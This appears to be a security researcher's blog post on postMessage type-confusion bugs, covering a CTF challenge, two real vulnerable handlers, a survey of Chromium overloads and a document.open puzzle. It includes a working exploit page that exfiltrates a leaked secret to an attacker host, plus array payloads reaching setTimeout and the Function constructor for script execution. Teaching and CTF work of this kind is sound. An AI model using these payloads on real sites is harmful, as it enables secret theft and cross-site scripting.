That is why a small postMessage challenge on Twitter caught my eye. It looked trivial, an iframe, an origin allowlist, and a secret behind it, but the intended solution turned on the exact confusion I had been abusing in the wild. I solved it quickly, yet it stuck with me, so afterwards I went digging through the browser source to see how far the pattern really reaches. That research walked me straight into another function with the same problem sitting inside it, and I am going to hand that one to you at the end.
So the plan is simple. The Twitter challenge first, then a real case I had found before it, with a nastier variant of the same handler, then the research, and finally a function for you to break yourself. Let's begin.
The Twitter Challenge
It came from a tweet by joaxcar. The setup is simple to state: you get to iframe a page, and you have to leak a SECRET that lives inside it. Here is the victim's message handler:
let SECRET = "abc123"
let ALLOWED_ORIGINS = ["example.com"]
window.onmessage = (m) => {
let origin = m.data.origin
let host = new URL(origin).hostname;
if (ALLOWED_ORIGINS.includes(host)) {
window.parent.postMessage(SECRET, origin);
}
}
The flow is short. It reads origin from our message, extracts the hostname with new URL(), and if that hostname is in the allowlist it sends SECRET back to us, using our origin as the targetOrigin. To walk away with the secret, two things have to be true at once: new URL(origin).hostname has to equal example.com so the check passes, and the reply has to be delivered to our origin, which is not example.com. The same origin value drives both, and with a plain string the two requirements fight each other. If I send "https://example.com", the check passes but the secret goes to example.com. If I send my own origin, delivery works but the hostname check fails. One of the two always loses.
The value never had to be a string, though. The handler reads m.data.origin, and postMessage uses structured clone, so I can send an object. I send an array:
const origin = ["https://example.com"];
origin.targetOrigin = "https://attacker.tld";
victim.contentWindow.postMessage({ origin }, "*");
Now new URL(origin) stringifies the array. String(["https://example.com"]) is just "https://example.com", so the hostname is example.com and the check passes exactly as before. But the reply behaves completely differently, because origin is now an object.
Window.postMessage is declared twice in the browser, in Chromium's Blink source. In WebIDL terms there are two overloads:
postMessage(message, USVString targetOrigin, ...)
postMessage(message, WindowPostMessageOptions options)
When a function is declared more than once like this, something has to decide which version a given call actually meant, and that step is called overload resolution. WebIDL, the interface language browsers use to define these APIs, spells out an exact algorithm for it: it looks at how many arguments you passed and what their types are, then matches that against the declared signatures. The important part is that a string and an object count as distinguishable types, so the same argument slot can legally accept either one, and the type of the value you hand it is what quietly decides which overload runs.
Here the deciding argument is the second one. A string takes the first overload, where the argument is the target origin. An object takes the second overload, where the argument is an options dictionary and the browser reads options.targetOrigin off of it. My array is an object, so postMessage(SECRET, origin) switches to the options overload and reads origin.targetOrigin, the property I set to my own origin. The secret is delivered straight to me.
Put together, the whole exploit is a single page that frames the challenge, sends the crafted message once the frame has loaded, and catches the secret the victim posts back:
<iframe id="victim" src="https://challenge.example/leak.html"></iframe>
<script>
// the victim posts its SECRET back to us, so grab it and exfiltrate
window.onmessage = (e) => {
new Image().src = "https://attacker.tld/?secret=" + encodeURIComponent(e.data);
};
victim.onload = () => {
const origin = ["https://example.com"]; // String(origin) === "https://example.com", so the hostname check passes
origin.targetOrigin = location.origin; // the options overload reads this, so the reply is delivered to us
victim.contentWindow.postMessage({ origin }, "*");
};
</script>
The whole bug is that the check and the sink never agreed on what origin was. new URL() read it as a string and saw example.com, postMessage read it as an options object and saw my targetOrigin. One value, two readings, and the exploit lives in the gap between them.
I also published this challenge on pwnbox as portway-2, so you can practice with it online.
The First Case
I had seen this shape before the challenge, in a real handler that looked nothing like the toy above but broke for the same reason. It went like this:
window.addEventListener('message', function(event) {
if (event.data && event.data.action === 'log') {
window[event.data.func](event.data)
}
});
There is no origin check, so any page can talk to it. It reads action, and if it is 'log', it treats event.data.func as a window property name, calls it, and passes the whole message as the argument. So I control which window function runs, and the argument is the message object itself.
The obvious moves die fast. I control func, so I want to point it at something that runs code, but the argument is an object and most sinks want a string. A plain object handed to setTimeout or to the Function constructor stringifies to the constant "[object Object]", which is not valid JavaScript, and there is no window.write to reach for. Every path dies on the same rock: the argument is an object, and objects stringify to garbage.
The way through is to stop sending an object and start sending an array, because two properties of postMessage line up for us. First, structured clone keeps an array's named own properties, so if I tack .action and .func onto an array they survive the trip and the action === 'log' guard passes with func under my control. Second, an array stringifies to its element: String(["alert(origin)"]) is "alert(origin)", not "[object Object]". So I point func at setTimeout and send the payload as the element:
const data = ["alert(origin)"];
data.action = 'log';
data.func = 'setTimeout';
victim.postMessage(data, '*');
The handler runs window['setTimeout'](data). setTimeout's first argument is (DOMString or Function), and data is a non-callable object, so it goes down the string branch, where the browser runs ToString on it and compiles the result as code. ToString(data) is "alert(origin)", and it runs in the app's origin. It is the same shape as the challenge: the guard read data as a control object and found action and func, and setTimeout read it as a string and found my code.
I published this one on pwnbox as portway-3, so you can practice with it online.
Now let's extend it, because the same handler shows up in a nastier form where the dispatch is not a plain window[...] but a nested lookup table:
window.addEventListener('message', function(event) {
if (event.data && event.data.action === 'log') {
log[event.data.cat][event.data.message_type](event.data)()
}
});
log is a table of logging factories, roughly { error: {general, connection}, success: {general, close} }, where each leaf is (data) => () => console.log(...). That two-step shape, a function that takes data and returns a thunk, is why the sink calls the looked-up value with (event.data) and then invokes the result with (). Again there is no origin check, and both cat and message_type are attacker-chosen property names.
The extra move here is that the lookup is not restricted to the real keys, so it can climb the prototype chain. log["constructor"] resolves to Object, and Object["constructor"] is the Function constructor, so log["constructor"]["constructor"] is Function and the sink becomes Function(event.data)(). That two-call structure is exactly what Function wants: Function(x) builds a function whose body is ToString(x), and the trailing () runs it. The array trick is identical, the named properties ride along through the clone, and the element becomes the function body:
const data = ["alert(origin)"];
data.action = 'log';
data.cat = 'constructor';
data.message_type = 'constructor';
victim.postMessage(data, '*');
This runs Function(["alert(origin)"])(), which compiles alert(origin) and calls it, in the app's origin. The two handlers look nothing alike, one indexes window and the other climbs a table into the Function constructor, but they are the same bug, and structured clone is generous enough to let a single array be a control object and a string at the same time.
The extended version is on pwnbox as portway-4, if you want to try the harder one.
The Research
After the challenge I stopped treating this as a trick and went to read the source, because I wanted to know how many places the browser lets an argument's type quietly pick the code path. So I walked the entire Blink IDL surface, every interface Chromium exposes to the web, pulled out every operation that is declared more than once, and looked at what each overload actually does in the C++ behind it. I did this with the help of Claude AI, though it was not a one-shot answer: it took an appropriate series of prompts and a fair amount of effort to walk the whole tree and cross-check every overload.
Out of 2,228 IDL files, about 112 operations are genuinely overloaded. Most of those forks are harmless, a boolean versus an options object for addEventListener, coordinates versus a dictionary for scroll. But once you keep only the overloads where the branch you land on reaches a sink or a security decision, a small and sharp set is left.
| The funnel | Count |
|---|---|
| Blink IDL files scanned | 2,228 |
| Operations declared more than once | ~112 |
| Overloads that reach a sink or a security decision | ~30 |
| Type forks that gate a security decision | 4 |
| Forks decided by argument count | 2 |
| Trusted Types sinks that fork on type inside the C++ | ~22 |
The handful that let you turn the confusion into code or a security decision are worth naming, because they are all the same bug wearing different clothes.
| Function | Fork on | The dangerous branch |
|---|---|---|
postMessage | 2nd argument, string vs object | reads options.targetOrigin from your object |
setTimeout / setInterval | 1st argument, function vs string | compiles your string as code |
Function | its argument, via ToString | compiles your string as code |
document.write | string vs TrustedHTML | writes HTML with the Trusted Types check skipped |
setAttribute | string vs TrustedType | sets the attribute with the check skipped |
| ~22 Trusted Types sinks | trusted object vs string | inject with enforcement skipped |
postMessage was only the entry point. setTimeout and setInterval take a handler that is either a Function or a string, and a non-callable value goes down the string branch and is compiled, which is exactly what powered the first case. The Function constructor builds its body from ToString of its argument, which powered the variant. document.write and setAttribute treat a real trusted object and a plain string as different overloads, and only the string branch runs the Trusted Types check. That last row hides a whole family: about twenty-two Trusted Types sinks, innerHTML, outerHTML, srcdoc, insertAdjacentHTML, script.src, importScripts and more, each a single signature in the IDL that still branches inside the C++ on whether you handed it a genuine trusted object or a plain string. The trusted object skips enforcement, the string runs it. The shape never changes. Somewhere a value is checked as one type and used as another, and the two readings do not have to agree.
That reading led me to one more function I want to leave with you, because it is the cleanest puzzle of the bunch. Consider a listener like this:
window.addEventListener('message', (event) => {
if (event.data && event.data.type === 'reset') {
document.open(...event.data.args); // just clears the document, right?
}
});
document.open() looks harmless. In its usual form it resets the current document so you can rewrite it with document.write, and the author here treats it as safe housekeeping and lets the message decide its arguments. But document.open is not one function. It has a second form, and which one runs depends on how many arguments you pass. Two arguments give you the document-stream reset. Three arguments give you something else entirely, something that hands you a Window back. That is your hint: the argument list is read one way by the developer and another way by the browser, exactly like everything above. From that listener, cause a navigation to an origin you choose, and for extra credit a javascript: execution. Work out what event.data.args has to be. It is more fun to find than to be told.
Final Words
The lesson is small and it is old: a validator and a sink should never disagree about what a value is. When they do, the gap between the two readings is the bug. postMessage makes that gap easy to reach, because structured clone will happily carry an array that is a control object and a string at the same time, but the pattern is not really about postMessage. It is about any two pieces of code that read the same value with different eyes. So next time a check and a sink both touch the same input, ask yourself whether they agree on its type. More often than you would think, they do not.
Thanks for reading, and go find the document.open() one before I post it. Happy hacking :)